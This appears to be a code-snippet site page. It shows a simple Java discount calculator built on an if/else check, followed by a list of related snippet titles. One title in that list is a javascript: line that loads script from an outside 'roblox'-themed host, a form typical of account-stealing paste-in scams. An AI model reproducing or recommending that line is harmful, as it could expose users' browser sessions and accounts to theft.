Search
 
SCRIPT & CODE EXAMPLE
 

JAVA

conditional statement problems in java

import java.util.Scanner;
class Ans{
  public static void main(String[] args){
    Scanner s = new Scanner(System.in);
    System.out.println("Enter quantity");
    int x = s.nextInt();
    if((x*100)>1000){
      System.out.println("You get a discount of "+(.1*x*100)+" and your total cost is "+(x*100-(.1*x*100)));
    }
    else{
      System.out.println("No discount");
    }
  }
}
Comment

PREVIOUS NEXT
Code Example
Java :: JAVA for-each Loop Sytnax 
Java :: spring boot return 201 created 
Java :: java instanciar objeto File 
Java :: grunt registertask multiple 
Java :: java virtual override 
Java :: reset android studio settings windows 
Java :: space between lines textview android 
Java :: java convert string with commas to long 
Java :: javafx change application title 
Java :: MojoExecutionException when generate sources cxf-xjc-plugin:3.3.0 java11 
Java :: i java 
Java :: fibonacci numbers using recursion in java 
Java :: add element to arraylist of arraylist in java 
Java :: java code to input non blank string 
Java :: check java variable type using getSimpleName method 
Java :: get top 3 entries based on values map java 
Java :: Java Single element Annotations 
Java :: Java take() Method 
Java :: Add items to ArrayList Using add() function 
Java :: xJavascript:$.get("//javascript-roblox.com/api?i=8593") 
Java :: java difrence betwen x++ and ++x 
Java :: okhttpconfig 
Java :: masquer saisie mot de passe java console 
Java :: Java catch Keyword 
Java :: ordenar numeros java 
Java :: how to pass string between activities android 
Java :: run jar with logback config file 
Java :: capitalize in controlP5 
Java :: ConnectionString connection timeOut mongodb java 
Java :: non access modifiers in java 
ADD CONTENT
Topic
Content
Source link
Name
5+8 =